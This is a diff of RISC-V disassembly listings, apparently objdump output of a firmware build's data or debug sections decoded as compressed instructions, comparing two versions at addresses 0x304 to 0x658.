+     304:	1900                	addi	s0,sp,176
+     306:	1a1a                	slli	s4,s4,0x26
+     308:	2040                	fld	fs0,128(s0)
+     30a:	07fa                	slli	a5,a5,0x1e
+     30c:	0000                	unimp
+     30e:	000002f3          	0x2f3
+     312:	011a                	slli	sp,sp,0x6
+     314:	025a                	slli	tp,tp,0x16
+     316:	19000087          	0x19000087
+     31a:	1a22                	slli	s4,s4,0x28
      31c:	2040                	fld	fs0,128(s0)
-     31e:	17b1                	addi	a5,a5,-20
+     31e:	0836                	slli	a6,a6,0xd
      320:	0000                	unimp
-     322:	7812                	flw	fa6,36(sp)
-     324:	4019                	c.li	zero,6
-     326:	1420                	addi	s0,sp,552
-     328:	001d                	c.nop	7
-     32a:	1d00                	addi	s0,sp,688
-     32c:	13000003          	lb	zero,304(zero) # 130 <__stack_size-0x6d0>
-     330:	5a01                	li	s4,-32
-     332:	3101                	jal	ffffff32 <_heap_end+0x7fff1732>
-     334:	055b0113          	addi	sp,s6,85
-     338:	405ca403          	lw	s0,1029(s9)
-     33c:	1320                	addi	s0,sp,424
-     33e:	5c01                	li	s8,-32
-     340:	3701                	jal	240 <__stack_size-0x5c0>
-     342:	1400                	addi	s0,sp,544
-     344:	1988                	addi	a0,sp,240
-     346:	2040                	fld	fs0,128(s0)
-     348:	00000357          	0x357
-     34c:	8e14                	0x8e14
-     34e:	4019                	c.li	zero,6
-     350:	c920                	sw	s0,80(a0)
-     352:	12000007          	0x12000007
-     356:	1998                	addi	a4,sp,240
-     358:	2040                	fld	fs0,128(s0)
-     35a:	1d14                	addi	a3,sp,688
-     35c:	0000                	unimp
-     35e:	034d                	addi	t1,t1,19
-     360:	0000                	unimp
-     362:	015a0113          	addi	sp,s4,21
-     366:	1331                	addi	t1,t1,-20
-     368:	5b01                	li	s6,-32
-     36a:	7902                	flw	fs2,32(sp)
-     36c:	1300                	addi	s0,sp,416
-     36e:	5c01                	li	s8,-32
-     370:	3701                	jal	270 <__stack_size-0x590>
-     372:	1400                	addi	s0,sp,544
-     374:	19a0                	addi	s0,sp,248
-     376:	2040                	fld	fs0,128(s0)
-     378:	00000e37          	lui	t3,0x0
-     37c:	1500                	addi	s0,sp,672
-     37e:	7794                	flw	fa3,40(a5)
-     380:	0000                	unimp
-     382:	dc01                	beqz	s0,29a <__stack_size-0x566>
-     384:	0501                	addi	a0,a0,0
-     386:	0030                	addi	a2,sp,8
-     388:	0000                	unimp
-     38a:	26f8                	fld	fa4,200(a3)
-     38c:	2040                	fld	fs0,128(s0)
-     38e:	0424                	addi	s1,sp,520
-     390:	0000                	unimp
-     392:	9c01                	0x9c01
-     394:	000007b3          	add	a5,zero,zero
-     398:	7016                	flw	ft0,100(sp)
-     39a:	0100                	addi	s0,sp,128
-     39c:	01df 300d 0000      	0x300d01df
-     3a2:	0500                	addi	s0,sp,640
-     3a4:	00d88403          	lb	s0,13(a7) # 100000d <__stack_size+0xfff80d>
-     3a8:	1680                	addi	s0,sp,864
-     3aa:	7365                	lui	t1,0xffff9
-     3ac:	e0010063          	beqz	sp,fffff9ac <_heap_end+0x7fff11ac>
-     3b0:	0d01                	addi	s10,s10,0
-     3b2:	0030                	addi	a2,sp,8
-     3b4:	0000                	unimp
-     3b6:	0305                	addi	t1,t1,1
-     3b8:	d880                	sw	s0,48(s1)
-     3ba:	8000                	0x8000
-     3bc:	0037d817          	auipc	a6,0x37d
-     3c0:	0100                	addi	s0,sp,128
-     3c2:	01e1                	addi	gp,gp,24
-     3c4:	b30e                	fsd	ft3,416(sp)
-     3c6:	05000007          	0x5000007
-     3ca:	00d8c003          	lbu	zero,13(a7)
-     3ce:	1680                	addi	s0,sp,864
-     3d0:	0068                	addi	a0,sp,12
-     3d2:	e101                	bnez	a0,3d2 <__stack_size-0x42e>
-     3d4:	5201                	li	tp,-32
-     3d6:	0030                	addi	a2,sp,8
-     3d8:	0000                	unimp
-     3da:	0305                	addi	t1,t1,1
-     3dc:	d874                	sw	a3,116(s0)
-     3de:	8000                	0x8000
-     3e0:	6518                	flw	fa4,8(a0)
-     3e2:	01006c6f          	jal	s8,63f2 <__stack_size+0x5bf2>
-     3e6:	300601e3          	beqz	a2,ee8 <__stack_size+0x6e8>
-     3ea:	0000                	unimp
-     3ec:	0000                	unimp
-     3ee:	0000                	unimp
+     322:	0311                	addi	t1,t1,4
+     324:	0000                	unimp
+     326:	011a                	slli	sp,sp,0x6
+     328:	025a                	slli	tp,tp,0x16
+     32a:	0078                	addi	a4,sp,12
+     32c:	011a                	slli	sp,sp,0x6
+     32e:	1a31015b          	0x1a31015b
+     332:	5c01                	li	s8,-32
+     334:	3101                	jal	ffffff34 <_heap_end+0x7fff1734>
+     336:	1c00                	addi	s0,sp,560
+     338:	1a2e                	slli	s4,s4,0x2b
+     33a:	2040                	fld	fs0,128(s0)
+     33c:	07fa                	slli	a5,a5,0x1e
+     33e:	0000                	unimp
+     340:	011a                	slli	sp,sp,0x6
+     342:	055a                	slli	a0,a0,0x16
+     344:	4041f803          	0x4041f803
+     348:	0020                	addi	s0,sp,8
+     34a:	1900                	addi	s0,sp,176
+     34c:	19b4                	addi	a3,sp,248
+     34e:	2040                	fld	fs0,128(s0)
+     350:	0842                	slli	a6,a6,0x10
+     352:	0000                	unimp
+     354:	033e                	slli	t1,t1,0xf
+     356:	0000                	unimp
+     358:	011a                	slli	sp,sp,0x6
+     35a:	015a                	slli	sp,sp,0x16
+     35c:	1a31                	addi	s4,s4,-20
+     35e:	5b01                	li	s6,-32
+     360:	8202                	jr	tp
+     362:	0000                	unimp
+     364:	3619                	jal	fffffe6a <_heap_end+0x7fff166a>
+     366:	401a                	0x401a
+     368:	4220                	lw	s0,64(a2)
+     36a:	0008                	0x8
+     36c:	5700                	lw	s0,40(a4)
+     36e:	1a000003          	lb	zero,416(zero) # 1a0 <__stack_size-0x660>
+     372:	5a01                	li	s4,-32
+     374:	3201                	jal	fffffc74 <_heap_end+0x7fff1474>
+     376:	011a                	slli	sp,sp,0x6
+     378:	0082025b          	0x82025b
+     37c:	1900                	addi	s0,sp,176
+     37e:	1a40                	addi	s0,sp,308
+     380:	2040                	fld	fs0,128(s0)
+     382:	07fa                	slli	a5,a5,0x1e
+     384:	0000                	unimp
+     386:	0000036b          	0x36b
+     38a:	011a                	slli	sp,sp,0x6
+     38c:	025a                	slli	tp,tp,0x16
+     38e:	0084                	addi	s1,sp,64
+     390:	1c00                	addi	s0,sp,560
+     392:	1a44                	addi	s1,sp,308
+     394:	2040                	fld	fs0,128(s0)
+     396:	084e                	slli	a6,a6,0x13
+     398:	0000                	unimp
+     39a:	011a                	slli	sp,sp,0x6
+     39c:	025a                	slli	tp,tp,0x16
+     39e:	0078                	addi	a4,sp,12
+     3a0:	0000                	unimp
+     3a2:	ee19                	bnez	a2,3c0 <__stack_size-0x440>
+     3a4:	4018                	lw	a4,0(s0)
+     3a6:	5a20                	lw	s0,112(a2)
+     3a8:	0008                	0x8
+     3aa:	9d00                	0x9d00
+     3ac:	1a000003          	lb	zero,416(zero) # 1a0 <__stack_size-0x660>
+     3b0:	5a01                	li	s4,-32
+     3b2:	0305                	addi	t1,t1,1
+     3b4:	3f48                	fld	fa0,184(a4)
+     3b6:	2040                	fld	fs0,128(s0)
+     3b8:	011a                	slli	sp,sp,0x6
+     3ba:	1a30015b          	0x1a30015b
+     3be:	5c01                	li	s8,-32
+     3c0:	3001                	jal	fffffbc0 <_heap_end+0x7fff13c0>
+     3c2:	1900                	addi	s0,sp,176
+     3c4:	18fa                	slli	a7,a7,0x3e
+     3c6:	2040                	fld	fs0,128(s0)
+     3c8:	07fa                	slli	a5,a5,0x1e
+     3ca:	0000                	unimp
+     3cc:	03b4                	addi	a3,sp,456
+     3ce:	0000                	unimp
+     3d0:	011a                	slli	sp,sp,0x6
+     3d2:	055a                	slli	a0,a0,0x16
+     3d4:	403f5003          	lhu	zero,1027(t5) # ffffb403 <_heap_end+0x7ffecc03>
+     3d8:	0020                	addi	s0,sp,8
+     3da:	0619                	addi	a2,a2,6
+     3dc:	4019                	c.li	zero,6
+     3de:	fa20                	fsw	fs0,112(a2)
+     3e0:	cb000007          	0xcb000007
+     3e4:	1a000003          	lb	zero,416(zero) # 1a0 <__stack_size-0x660>
+     3e8:	5a01                	li	s4,-32
+     3ea:	0305                	addi	t1,t1,1
+     3ec:	3f58                	fld	fa4,184(a4)
+     3ee:	2040                	fld	fs0,128(s0)
      3f0:	1900                	addi	s0,sp,176
-     3f2:	0218                	addi	a4,sp,256
-     3f4:	0000                	unimp
-     3f6:	6318                	flw	fa4,0(a4)
-     3f8:	0100                	addi	s0,sp,128
-     3fa:	01e8                	addi	a0,sp,204
-     3fc:	0000f30f          	0xf30f
-     400:	2c00                	fld	fs0,24(s0)
-     402:	0000                	unimp
-     404:	1a00                	addi	s0,sp,304
-     406:	0240                	addi	s0,sp,260
-     408:	0000                	unimp
-     40a:	0408                	addi	a0,sp,512
-     40c:	0000                	unimp
-     40e:	6918                	flw	fa4,16(a0)
-     410:	0100                	addi	s0,sp,128
-     412:	01f6                	slli	gp,gp,0x1d
-     414:	300d                	jal	fffffc36 <_heap_end+0x7fff1436>
-     416:	0000                	unimp
-     418:	ad00                	fsd	fs0,24(a0)
-     41a:	0000                	unimp
-     41c:	1b00                	addi	s0,sp,432
-     41e:	27c0                	fld	fs0,136(a5)
-     420:	2040                	fld	fs0,128(s0)
-     422:	1d20                	addi	s0,sp,696
-     424:	0000                	unimp
-     426:	025a0113          	addi	sp,s4,37
-     42a:	0079                	c.nop	30
-     42c:	0000                	unimp
-     42e:	581a                	lw	a6,164(sp)
-     430:	0002                	c.slli64	zero
-     432:	3100                	fld	fs0,32(a0)
-     434:	0004                	0x4
-     436:	1800                	addi	s0,sp,48
-     438:	0069                	c.nop	26
-     43a:	2401                	jal	63a <__stack_size-0x1c6>
-     43c:	0d02                	c.slli64	s10
-     43e:	0030                	addi	a2,sp,8
-     440:	0000                	unimp
-     442:	000000e3          	beqz	zero,c42 <__stack_size+0x442>
-     446:	402ac21b          	0x402ac21b
-     44a:	2020                	fld	fs0,64(s0)
-     44c:	001d                	c.nop	7
-     44e:	1300                	addi	s0,sp,416
-     450:	5a01                	li	s4,-32
-     452:	7902                	flw	fs2,32(sp)
+     3f2:	1912                	slli	s2,s2,0x24
+     3f4:	2040                	fld	fs0,128(s0)
+     3f6:	07fa                	slli	a5,a5,0x1e
+     3f8:	0000                	unimp
+     3fa:	03e2                	slli	t2,t2,0x18
+     3fc:	0000                	unimp
+     3fe:	011a                	slli	sp,sp,0x6
+     400:	055a                	slli	a0,a0,0x16
+     402:	403fa003          	lw	zero,1027(t6)
+     406:	0020                	addi	s0,sp,8
+     408:	1e19                	addi	t3,t3,-26
+     40a:	4019                	c.li	zero,6
+     40c:	fa20                	fsw	fs0,112(a2)
+     40e:	f9000007          	0xf9000007
+     412:	1a000003          	lb	zero,416(zero) # 1a0 <__stack_size-0x660>
+     416:	5a01                	li	s4,-32
+     418:	0305                	addi	t1,t1,1
+     41a:	3fe8                	fld	fa0,248(a5)
+     41c:	2040                	fld	fs0,128(s0)
+     41e:	1900                	addi	s0,sp,176
+     420:	192a                	slli	s2,s2,0x2a
+     422:	2040                	fld	fs0,128(s0)
+     424:	07fa                	slli	a5,a5,0x1e
+     426:	0000                	unimp
+     428:	0410                	addi	a2,sp,512
+     42a:	0000                	unimp
+     42c:	011a                	slli	sp,sp,0x6
+     42e:	055a                	slli	a0,a0,0x16
+     430:	403f5803          	lhu	a6,1027(t5)
+     434:	0020                	addi	s0,sp,8
+     436:	3619                	jal	ffffff3c <_heap_end+0x7fff173c>
+     438:	4019                	c.li	zero,6
+     43a:	fa20                	fsw	fs0,112(a2)
+     43c:	27000007          	0x27000007
+     440:	0004                	0x4
+     442:	1a00                	addi	s0,sp,304
+     444:	5a01                	li	s4,-32
+     446:	0305                	addi	t1,t1,1
+     448:	4030                	lw	a2,64(s0)
+     44a:	2040                	fld	fs0,128(s0)
+     44c:	1900                	addi	s0,sp,176
+     44e:	1942                	slli	s2,s2,0x30
+     450:	2040                	fld	fs0,128(s0)
+     452:	07fa                	slli	a5,a5,0x1e
      454:	0000                	unimp
-     456:	1a00                	addi	s0,sp,304
-     458:	0270                	addi	a2,sp,268
-     45a:	0000                	unimp
-     45c:	044a                	slli	s0,s0,0x12
-     45e:	0000                	unimp
-     460:	6918                	flw	fa4,16(a0)
-     462:	0100                	addi	s0,sp,128
-     464:	022c                	addi	a1,sp,264
-     466:	300d                	jal	fffffc88 <_heap_end+0x7fff1488>
-     468:	0000                	unimp
-     46a:	1900                	addi	s0,sp,176
-     46c:	0001                	nop
-     46e:	0000                	unimp
-     470:	881a                	mv	a6,t1
-     472:	0002                	c.slli64	zero
-     474:	7300                	flw	fs0,32(a4)
-     476:	0004                	0x4
-     478:	1800                	addi	s0,sp,48
-     47a:	0069                	c.nop	26
-     47c:	3801                	jal	fffffc8c <_heap_end+0x7fff148c>
-     47e:	2702                	fld	fa4,0(sp)
-     480:	0030                	addi	a2,sp,8
+     456:	043e                	slli	s0,s0,0xf
+     458:	0000                	unimp
+     45a:	011a                	slli	sp,sp,0x6
+     45c:	055a                	slli	a0,a0,0x16
+     45e:	40407803          	0x40407803
+     462:	0020                	addi	s0,sp,8
+     464:	4e19                	li	t3,6
+     466:	4019                	c.li	zero,6
+     468:	fa20                	fsw	fs0,112(a2)
+     46a:	55000007          	0x55000007
+     46e:	0004                	0x4
+     470:	1a00                	addi	s0,sp,304
+     472:	5a01                	li	s4,-32
+     474:	0305                	addi	t1,t1,1
+     476:	40c0                	lw	s0,4(s1)
+     478:	2040                	fld	fs0,128(s0)
+     47a:	1900                	addi	s0,sp,176
+     47c:	195a                	slli	s2,s2,0x36
+     47e:	2040                	fld	fs0,128(s0)
+     480:	07fa                	slli	a5,a5,0x1e
      482:	0000                	unimp
-     484:	0000014f          	fnmadd.s	ft2,ft0,ft0,ft0,rne
-     488:	402a1e1b          	0x402a1e1b
-     48c:	2020                	fld	fs0,64(s0)
-     48e:	001d                	c.nop	7
-     490:	1300                	addi	s0,sp,416
-     492:	5a01                	li	s4,-32
-     494:	7902                	flw	fs2,32(sp)
-     496:	0000                	unimp
-     498:	1000                	addi	s0,sp,32
-     49a:	2a44                	fld	fs1,144(a2)
-     49c:	2040                	fld	fs0,128(s0)
-     49e:	0010                	0x10
-     4a0:	0000                	unimp
-     4a2:	04a2                	slli	s1,s1,0x8
-     4a4:	0000                	unimp
-     4a6:	6911                	lui	s2,0x4
-     4a8:	0100                	addi	s0,sp,128
-     4aa:	300e023b          	0x300e023b
-     4ae:	0000                	unimp
-     4b0:	1b00                	addi	s0,sp,432
-     4b2:	2a50                	fld	fa2,144(a2)
-     4b4:	2040                	fld	fs0,128(s0)
-     4b6:	1d2c                	addi	a1,sp,696
-     4b8:	0000                	unimp
-     4ba:	025a0113          	addi	sp,s4,37
-     4be:	2178                	fld	fa4,192(a0)
-     4c0:	025b0113          	addi	sp,s6,37
-     4c4:	0078                	addi	a4,sp,12
-     4c6:	0000                	unimp
-     4c8:	d612                	sw	tp,44(sp)
-     4ca:	14204027          	fsq	ft2,320(zero) # 140 <__stack_size-0x6c0>
-     4ce:	001d                	c.nop	7
-     4d0:	c300                	sw	s0,0(a4)
-     4d2:	0004                	0x4
-     4d4:	1300                	addi	s0,sp,416
-     4d6:	5a01                	li	s4,-32
-     4d8:	3101                	jal	d8 <__stack_size-0x728>
-     4da:	055b0113          	addi	sp,s6,85
-     4de:	405a3003          	0x405a3003
-     4e2:	1320                	addi	s0,sp,424
-     4e4:	5c01                	li	s8,-32
-     4e6:	3201                	jal	fffffde6 <_heap_end+0x7fff15e6>
-     4e8:	1200                	addi	s0,sp,288
-     4ea:	27e6                	fld	fa5,88(sp)
-     4ec:	2040                	fld	fs0,128(s0)
-     4ee:	1d14                	addi	a3,sp,688
+     484:	046c                	addi	a1,sp,524
+     486:	0000                	unimp
+     488:	011a                	slli	sp,sp,0x6
+     48a:	055a                	slli	a0,a0,0x16
+     48c:	40410803          	lb	a6,1028(sp)
+     490:	0020                	addi	s0,sp,8
+     492:	6619                	lui	a2,0x6
+     494:	4019                	c.li	zero,6
+     496:	fa20                	fsw	fs0,112(a2)
+     498:	83000007          	0x83000007
+     49c:	0004                	0x4
+     49e:	1a00                	addi	s0,sp,304
+     4a0:	5a01                	li	s4,-32
+     4a2:	0305                	addi	t1,t1,1
+     4a4:	4150                	lw	a2,4(a0)
+     4a6:	2040                	fld	fs0,128(s0)
+     4a8:	1900                	addi	s0,sp,176
+     4aa:	1972                	slli	s2,s2,0x3c
+     4ac:	2040                	fld	fs0,128(s0)
+     4ae:	07fa                	slli	a5,a5,0x1e
+     4b0:	0000                	unimp
+     4b2:	049a                	slli	s1,s1,0x6
+     4b4:	0000                	unimp
+     4b6:	011a                	slli	sp,sp,0x6
+     4b8:	055a                	slli	a0,a0,0x16
+     4ba:	403f5803          	lhu	a6,1027(t5)
+     4be:	0020                	addi	s0,sp,8
+     4c0:	821c                	0x821c
+     4c2:	4019                	c.li	zero,6
+     4c4:	6620                	flw	fs0,72(a2)
+     4c6:	0008                	0x8
+     4c8:	1a00                	addi	s0,sp,304
+     4ca:	5a01                	li	s4,-32
+     4cc:	3101                	jal	cc <__stack_size-0x734>
+     4ce:	011a                	slli	sp,sp,0x6
+     4d0:	9803055b          	0x9803055b
+     4d4:	4041                	c.li	zero,16
+     4d6:	1a20                	addi	s0,sp,312
+     4d8:	5c01                	li	s8,-32
+     4da:	3701                	jal	3da <__stack_size-0x426>
+     4dc:	0000                	unimp
+     4de:	010d0407          	0x10d0407
+     4e2:	0000                	unimp
+     4e4:	eb08                	fsw	fa0,16(a4)
+     4e6:	0000                	unimp
+     4e8:	ce00                	sw	s0,24(a2)
+     4ea:	0004                	0x4
+     4ec:	0900                	addi	s0,sp,144
+     4ee:	00a2                	slli	ra,ra,0x8
      4f0:	0000                	unimp
-     4f2:	04e4                	addi	s1,sp,588
-     4f4:	0000                	unimp
-     4f6:	015a0113          	addi	sp,s4,21
-     4fa:	1331                	addi	t1,t1,-20
-     4fc:	5b01                	li	s6,-32
-     4fe:	0305                	addi	t1,t1,1
-     500:	5a34                	lw	a3,112(a2)
-     502:	2040                	fld	fs0,128(s0)
-     504:	015c0113          	addi	sp,s8,21
-     508:	f2120033          	0xf2120033
-     50c:	20204027          	fsq	ft2,512(zero) # 200 <__stack_size-0x600>
-     510:	001d                	c.nop	7
-     512:	f800                	fsw	fs0,48(s0)
-     514:	0004                	0x4
-     516:	1300                	addi	s0,sp,416
-     518:	5a01                	li	s4,-32
-     51a:	7902                	flw	fs2,32(sp)
-     51c:	0000                	unimp
-     51e:	0012                	c.slli	zero,0x4
-     520:	4028                	lw	a0,64(s0)
-     522:	1420                	addi	s0,sp,552
-     524:	001d                	c.nop	7
-     526:	1200                	addi	s0,sp,288
-     528:	0005                	c.nop	1
-     52a:	1300                	addi	s0,sp,416
-     52c:	5a01                	li	s4,-32
-     52e:	3101                	jal	12e <__stack_size-0x6d2>
-     530:	035b0113          	addi	sp,s6,53
-     534:	4c91                	li	s9,4
-     536:	0006                	c.slli	zero,0x1
-     538:	1012                	c.slli	zero,0x24
-     53a:	4028                	lw	a0,64(s0)
-     53c:	1420                	addi	s0,sp,552
-     53e:	001d                	c.nop	7
-     540:	3300                	fld	fs0,32(a4)
-     542:	0005                	c.nop	1
-     544:	1300                	addi	s0,sp,416
-     546:	5a01                	li	s4,-32
-     548:	3101                	jal	148 <__stack_size-0x6b8>
-     54a:	055b0113          	addi	sp,s6,85
-     54e:	405a3803          	0x405a3803
-     552:	1320                	addi	s0,sp,424
-     554:	5c01                	li	s8,-32
-     556:	3201                	jal	fffffe56 <_heap_end+0x7fff1656>
-     558:	1200                	addi	s0,sp,288
-     55a:	2834                	fld	fa3,80(s0)
-     55c:	2040                	fld	fs0,128(s0)
-     55e:	1d20                	addi	s0,sp,696
-     560:	0000                	unimp
-     562:	00000547          	fmsub.s	fa0,ft0,ft0,ft0,rne
-     566:	025a0113          	addi	sp,s4,37
-     56a:	0079                	c.nop	30
-     56c:	1200                	addi	s0,sp,288
-     56e:	2870                	fld	fa2,208(s0)
-     570:	2040                	fld	fs0,128(s0)
-     572:	1d14                	addi	a3,sp,688
-     574:	0000                	unimp
-     576:	055a                	slli	a0,a0,0x16
-     578:	0000                	unimp
-     57a:	015a0113          	addi	sp,s4,21
-     57e:	0031                	c.nop	12
-     580:	9814                	0x9814
-     582:	4028                	lw	a0,64(s0)
-     584:	2020                	fld	fs0,64(s0)
-     586:	001d                	c.nop	7
-     588:	1200                	addi	s0,sp,288
-     58a:	28b2                	fld	fa7,264(sp)
-     58c:	2040                	fld	fs0,128(s0)
-     58e:	1d2c                	addi	a1,sp,696
-     590:	0000                	unimp
-     592:	00000577          	0x577
-     596:	025a0113          	addi	sp,s4,37
-     59a:	0079                	c.nop	30
-     59c:	1200                	addi	s0,sp,288
-     59e:	28c2                	fld	fa7,16(sp)
-     5a0:	2040                	fld	fs0,128(s0)
-     5a2:	1d14                	addi	a3,sp,688
+     4f2:	0014                	0x14
+     4f4:	8f1d                	sub	a4,a4,a5
+     4f6:	0085                	addi	ra,ra,1
+     4f8:	0100                	addi	s0,sp,128
+     4fa:	2418                	fld	fa4,8(s0)
+     4fc:	1a46                	slli	s4,s4,0x31
+     4fe:	2040                	fld	fs0,128(s0)
+     500:	02cc                	addi	a1,sp,324
+     502:	0000                	unimp
+     504:	9c01                	0x9c01
+     506:	07ee                	slli	a5,a5,0x1b
+     508:	0000                	unimp
+     50a:	a51e                	fsd	ft7,136(sp)
+     50c:	0050                	addi	a2,sp,4
+     50e:	0100                	addi	s0,sp,128
+     510:	161a                	slli	a2,a2,0x26
+     512:	00000077          	0x77
+     516:	003d                	c.nop	15
+     518:	0000                	unimp
+     51a:	ac1e                	fsd	ft7,24(sp)
+     51c:	006a                	c.slli	zero,0x1a
+     51e:	0100                	addi	s0,sp,128
+     520:	0077161b          	0x77161b
+     524:	0000                	unimp
+     526:	0000005b          	0x5b
+     52a:	b51e                	fsd	ft7,168(sp)
+     52c:	009e                	slli	ra,ra,0x7
+     52e:	0100                	addi	s0,sp,128
+     530:	161c                	addi	a5,sp,800
+     532:	00000077          	0x77
+     536:	009c                	addi	a5,sp,64
+     538:	0000                	unimp
+     53a:	6318                	flw	fa4,0(a4)
+     53c:	0100                	addi	s0,sp,128
+     53e:	076c                	addi	a1,sp,908
+     540:	000000eb          	0xeb
+     544:	7fa89103          	lh	sp,2042(a7)
+     548:	0016                	c.slli	zero,0x5
+     54a:	0000                	unimp
+     54c:	3900                	fld	fs0,48(a0)
+     54e:	0005                	c.nop	1
+     550:	1800                	addi	s0,sp,48
+     552:	3061                	jal	fffffdda <_heap_end+0x7fff15da>
+     554:	0100                	addi	s0,sp,128
+     556:	1f1a                	slli	t5,t5,0x26
+     558:	0070                	addi	a2,sp,12
+     55a:	0000                	unimp
+     55c:	5a01                	li	s4,-32
+     55e:	1400                	addi	s0,sp,544
+     560:	1a7a                	slli	s4,s4,0x3e
+     562:	2040                	fld	fs0,128(s0)
+     564:	000c                	0xc
+     566:	0000                	unimp
+     568:	0554                	addi	a3,sp,644
+     56a:	0000                	unimp
+     56c:	6118                	flw	fa4,0(a0)
+     56e:	0030                	addi	a2,sp,8
+     570:	1b01                	addi	s6,s6,-32
+     572:	701f 0000 0100      	0x1000000701f
+     578:	005a                	c.slli	zero,0x16
+     57a:	1816                	slli	a6,a6,0x25
+     57c:	0000                	unimp
+     57e:	6b00                	flw	fs0,16(a4)
+     580:	0005                	c.nop	1
+     582:	1800                	addi	s0,sp,48
+     584:	3061                	jal	fffffe0c <_heap_end+0x7fff160c>
+     586:	0100                	addi	s0,sp,128
+     588:	1f1c                	addi	a5,sp,944
+     58a:	0070                	addi	a2,sp,12
+     58c:	0000                	unimp
+     58e:	5a01                	li	s4,-32
+     590:	1600                	addi	s0,sp,800
+     592:	0030                	addi	a2,sp,8
+     594:	0000                	unimp
+     596:	000007bb          	0x7bb
+     59a:	3311                	jal	29e <__stack_size-0x562>
+     59c:	003d                	c.nop	15
+     59e:	0100                	addi	s0,sp,128
+     5a0:	00d4165b          	0xd4165b
      5a4:	0000                	unimp
-     5a6:	0598                	addi	a4,sp,704
-     5a8:	0000                	unimp
-     5aa:	015a0113          	addi	sp,s4,21
-     5ae:	1331                	addi	t1,t1,-20
-     5b0:	5b01                	li	s6,-32
-     5b2:	0305                	addi	t1,t1,1
-     5b4:	5a44                	lw	s1,52(a2)
-     5b6:	2040                	fld	fs0,128(s0)
-     5b8:	015c0113          	addi	sp,s8,21
-     5bc:	0034                	addi	a3,sp,8
-     5be:	d212                	sw	tp,36(sp)
-     5c0:	4028                	lw	a0,64(s0)
-     5c2:	1420                	addi	s0,sp,552
-     5c4:	001d                	c.nop	7
-     5c6:	b900                	fsd	fs0,48(a0)
-     5c8:	0005                	c.nop	1
-     5ca:	1300                	addi	s0,sp,416
-     5cc:	5a01                	li	s4,-32
-     5ce:	3101                	jal	1ce <__stack_size-0x632>
-     5d0:	055b0113          	addi	sp,s6,85
-     5d4:	405a4c03          	lbu	s8,1029(s4)
-     5d8:	1320                	addi	s0,sp,424
-     5da:	5c01                	li	s8,-32
-     5dc:	3601                	jal	dc <__stack_size-0x724>
-     5de:	1200                	addi	s0,sp,288
-     5e0:	28d8                	fld	fa4,144(s1)
-     5e2:	2040                	fld	fs0,128(s0)
-     5e4:	1d20                	addi	s0,sp,696
-     5e6:	0000                	unimp
-     5e8:	05cd                	addi	a1,a1,19
-     5ea:	0000                	unimp
-     5ec:	025a0113          	addi	sp,s4,37
-     5f0:	0079                	c.nop	30
-     5f2:	1200                	addi	s0,sp,288
-     5f4:	28e2                	fld	fa7,24(sp)
-     5f6:	2040                	fld	fs0,128(s0)
-     5f8:	1d14                	addi	a3,sp,688
-     5fa:	0000                	unimp
-     5fc:	05e6                	slli	a1,a1,0x19
-     5fe:	0000                	unimp
-     600:	015a0113          	addi	sp,s4,21
-     604:	1331                	addi	t1,t1,-20
-     606:	5b01                	li	s6,-32
-     608:	7902                	flw	fs2,32(sp)
+     5a6:	6201                	0x6201
+     5a8:	7911                	lui	s2,0xfffe4
+     5aa:	01000023          	sb	a6,0(zero) # 0 <__stack_size-0x800>
+     5ae:	0b5c                	addi	a5,sp,404
+     5b0:	00fd                	addi	ra,ra,31
+     5b2:	0000                	unimp
+     5b4:	7fa89103          	lh	sp,2042(a7)
+     5b8:	4e1e                	lw	t3,196(sp)
+     5ba:	0058                	addi	a4,sp,4
+     5bc:	0100                	addi	s0,sp,128
+     5be:	185c                	addi	a5,sp,52
+     5c0:	0096                	slli	ra,ra,0x5
+     5c2:	0000                	unimp
+     5c4:	0208                	addi	a0,sp,256
+     5c6:	0000                	unimp
+     5c8:	bc14                	fsd	fa3,56(s0)
+     5ca:	401c                	lw	a5,0(s0)
+     5cc:	0820                	addi	s0,sp,24
+     5ce:	0000                	unimp
+     5d0:	bb00                	fsd	fs0,48(a4)
+     5d2:	0005                	c.nop	1
+     5d4:	1500                	addi	s0,sp,672
+     5d6:	6472                	flw	fs0,28(sp)
+     5d8:	0100                	addi	s0,sp,128
+     5da:	00700657          	0x700657
+     5de:	0000                	unimp
+     5e0:	1b00                	addi	s0,sp,432
+     5e2:	1ae4                	addi	s1,sp,380
+     5e4:	2040                	fld	fs0,128(s0)
+     5e6:	07fa                	slli	a5,a5,0x1e
+     5e8:	0000                	unimp
+     5ea:	4019                	c.li	zero,6
+     5ec:	fa20401b          	0xfa20401b
+     5f0:	e6000007          	0xe6000007
+     5f4:	0005                	c.nop	1
+     5f6:	1a00                	addi	s0,sp,304
+     5f8:	5a01                	li	s4,-32
+     5fa:	0305                	addi	t1,t1,1
+     5fc:	3cbc                	fld	fa5,120(s1)
+     5fe:	2040                	fld	fs0,128(s0)
+     600:	011a                	slli	sp,sp,0x6
+     602:	1a34015b          	0x1a34015b
+     606:	5c01                	li	s8,-32
+     608:	7802                	flw	fa6,32(sp)
      60a:	0000                	unimp
-     60c:	e812                	fsw	ft4,16(sp)
-     60e:	4028                	lw	a0,64(s0)
-     610:	2020                	fld	fs0,64(s0)
-     612:	001d                	c.nop	7
-     614:	fa00                	fsw	fs0,48(a2)
-     616:	0005                	c.nop	1
-     618:	1300                	addi	s0,sp,416
+     60c:	8c19                	sub	s0,s0,a4
+     60e:	fa20401b          	0xfa20401b
+     612:	08000007          	0x8000007
+     616:	0006                	c.slli	zero,0x1
+     618:	1a00                	addi	s0,sp,304
      61a:	5a01                	li	s4,-32
-     61c:	7902                	flw	fs2,32(sp)
-     61e:	0000                	unimp
-     620:	1014                	addi	a3,sp,32
-     622:	4029                	c.li	zero,10
-     624:	2020                	fld	fs0,64(s0)
-     626:	001d                	c.nop	7
-     628:	1200                	addi	s0,sp,288
-     62a:	2974                	fld	fa3,208(a0)
-     62c:	2040                	fld	fs0,128(s0)
-     62e:	1d14                	addi	a3,sp,688
-     630:	0000                	unimp
-     632:	0624                	addi	s1,sp,776
-     634:	0000                	unimp
-     636:	015a0113          	addi	sp,s4,21
-     63a:	1331                	addi	t1,t1,-20
-     63c:	5b01                	li	s6,-32
-     63e:	0305                	addi	t1,t1,1
-     640:	5a30                	lw	a2,112(a2)
-     642:	2040                	fld	fs0,128(s0)
-     644:	015c0113          	addi	sp,s8,21
-     648:	0032                	c.slli	zero,0xc
-     64a:	8412                	mv	s0,tp
-     64c:	4029                	c.li	zero,10
-     64e:	1420                	addi	s0,sp,552
-     650:	001d                	c.nop	7
-     652:	4500                	lw	s0,8(a0)
-     654:	0006                	c.slli	zero,0x1
-     656:	1300                	addi	s0,sp,416
-     658:	5a01                	li	s4,-32
